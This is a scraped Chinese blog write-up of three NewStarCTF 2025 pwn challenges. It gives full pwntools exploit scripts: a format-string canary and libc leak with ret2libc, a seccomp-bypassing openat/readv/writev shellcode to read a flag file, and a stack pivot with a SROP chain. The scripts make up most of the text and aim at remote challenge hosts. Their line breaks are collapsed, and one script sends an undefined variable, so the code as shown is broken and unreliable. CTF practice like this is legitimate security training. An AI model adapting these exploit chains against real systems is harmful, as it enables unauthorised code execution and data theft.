当前位置: 首页 > news >正文

NewStarCTF2025-Week3-Pwn

目录

 

1、fmt and canary

2、sandbox_plus

3、only_read


 

1、fmt and canary

存在fsb和栈溢出

测一下偏移,偏移是 6

由于没有pop rdi

我们直接利用 fsb 泄露 canary和libc基址

然后打ret2libc即可

这里我们选择泄露 __libc_start_main+128的真实地址

Exp:

from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')#io = process('./pwn')io = remote('39.106.48.123',17966)elf = ELF('./pwn')libc = ELF('./libc.so.6')#gdb,attach(io)#pause()io.sendlineafter('说话!\n',b'%11$p')canary = int(io.recv(18),16)print('canary: ',hex(canary))io.sendlineafter('说话!\n',b'%33$p')leak = int(io.recv(14),16)base = leak - 128 - libc.symbols['__libc_start_main']print(base)io.sendlineafter('说话!\n','end')system_addr = base + libc.symbols['system']bin_sh_addr = base + next(libc.search('/bin/sh'))pop_rdi = base + 0x2a3e5ret_addr = 0x40101apayload = p64(canary)*7 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)io.recvuntil('QwQ:')io.sendline(payload)io.interactive()

 

2、sandbox_plus

禁用了一些其他的系统调用

使用 openat、readv、writev 代替

输入的内容直接执行

Exp:

from pwn import *context(os='linux', arch='amd64', log_level='debug')io = remote('39.106.48.123',13059)shellcode = asm('''xor rax, raxmov rbx, 0x67616c662fpush rbxmov rdi, rsp             mov rax, 257             mov rsi, rdimov rdi, -100xor rdx, rdxxor r10, r10syscall mov rdi, rax            lea rsi, [rsp-0x100]       lea rdx, [rsp-0x120]mov [rdx], rsi             mov qword ptr [rdx+8], 0x200mov rax, 19              mov rsi, rdxmov rdx, 1syscallmov rdi, 1mov rax, 20              mov rsi, rdx             lea rsi, [rsp-0x120]mov rdx, 1syscall''')io.send(shellcode)io.interactive()

3、only_read

存在栈溢出

禁用了execve,还是要采用读取flag的方式

直接给了系统调用sigreturn的gadget

打栈迁移+SROP

Exp:

from pwn import *context(os='linux', arch='amd64', log_level='debug')io = remote('8.147.132.32', 27991)bss_addr = 0x404a00leave_ret = 0x4012b0read = 0x401349gift = 0x401366syscall = 0x40136Dpayload = b'a'*0x10 + p64(bss_addr) + p64(read)io.send(p); sleep(0.2)payload  = p64(bss_addr+0x100) + p64(read)payload += p64(bss_addr-0x10) + p64(leave_ret)payload += b'./flag\x00\x00'io.send(payload); sleep(0.2)payload  = p64(0)*2 + p64(bss_addr+0x200) + p64(read) + p64(gift)frame = SigreturnFrame()frame.rax = 2frame.rdi = 0x404a10frame.rsi = 0frame.rdx = 0frame.rip = syscallframe.rsp = bss_addr + 0x210payload += bytes(frame)if len(payload) > 0x100: payload = payload[:0x100]io.send(payload); sleep(0.2)payload  = p64(0)*2 + p64(bss_addr+0x300) + p64(read) + p64(gift)frame = SigreturnFrame()frame.rax = constants.SYS_readframe.rdi = 3frame.rsi = bss_addr + 0x400frame.rdx = 0x50frame.rip = syscallframe.rsp = bss_addr + 0x310payload += bytes(frame)if len(payload) > 0x100: payload = payload[:0x100]io.send(payload); sleep(0.2)payload  = p64(0)*2 + p64(bss_addr+0x108) + p64(leave_ret) + p64(gift)frame = SigreturnFrame()frame.rax = constants.SYS_writeframe.rdi = 1frame.rsi = bss_addr + 0x400frame.rdx = 0x50frame.rip = syscallpayload += bytes(frame)if len(payload) > 0x100: payload = payload[:0x100]io.send(payload); sleep(0.2)io.interactive()

 

http://www.dtcms.com/a/534265.html

相关文章:

  • 网站建设的基本要求手机网站开发视频教程
  • 购物网站建设需要什么资质wordpress install
  • 国内专业网站制作贺州住房和城乡建设部网站
  • Python 列表排序:快速掌握排序方法
  • 在盐城做网站的网络公司电话网站开发 参考文献
  • 奉化区建设局网站贵州省贵州省建设厅网站
  • 网站规划文案做移动网站优化
  • 郑州网站权重京东官方网上商城
  • C++ 类的学习(四) 继承
  • 企业网站建设开发四个阶段厦门企业网站排名优化
  • 深圳微商城网站制作多少钱郑州网站设计 郑州网站开发
  • 成都网站设计网站制作公司互联网门户网站建设
  • 国际网站怎么进免费分销方案如何打造更强的分销团队
  • 衡水制作网站哪些网站能够免费做公考题
  • 唐山网站制作系统做企业网站首页尺寸
  • 郑州哪家公司给国外做网站毛坯房最便宜装修方法
  • 电影网站开发任务书北京大型网站建设公司
  • 怎样选择网站服务器求职设计师的个人简历模板
  • 阿里云部署一个自己做的网站吗网站建设需要哪些成本
  • 多点网络网站制作系统网站备案服务内容
  • 上海网站排名seo公司哪家好苏州建筑设计公司
  • 【C++篇】C++11:右值引用与移动语义
  • 红色博客网站源码中交建设集团网站
  • 西安网站建设哪家好一些农业局网站建设方案
  • 知乎 淘宝网站建设php英文商城网站建设
  • 建设工程信息发布网站用h5开发的网站模板下载
  • 免费源码交易网站源码廊坊建站
  • 当.NET 9遇见AI智能体:AntSK企业级知识库的技术革命与实战解析
  • 哪个网站做长图免费转高清高端网站建设个人
  • 海原网站建设在线代理上网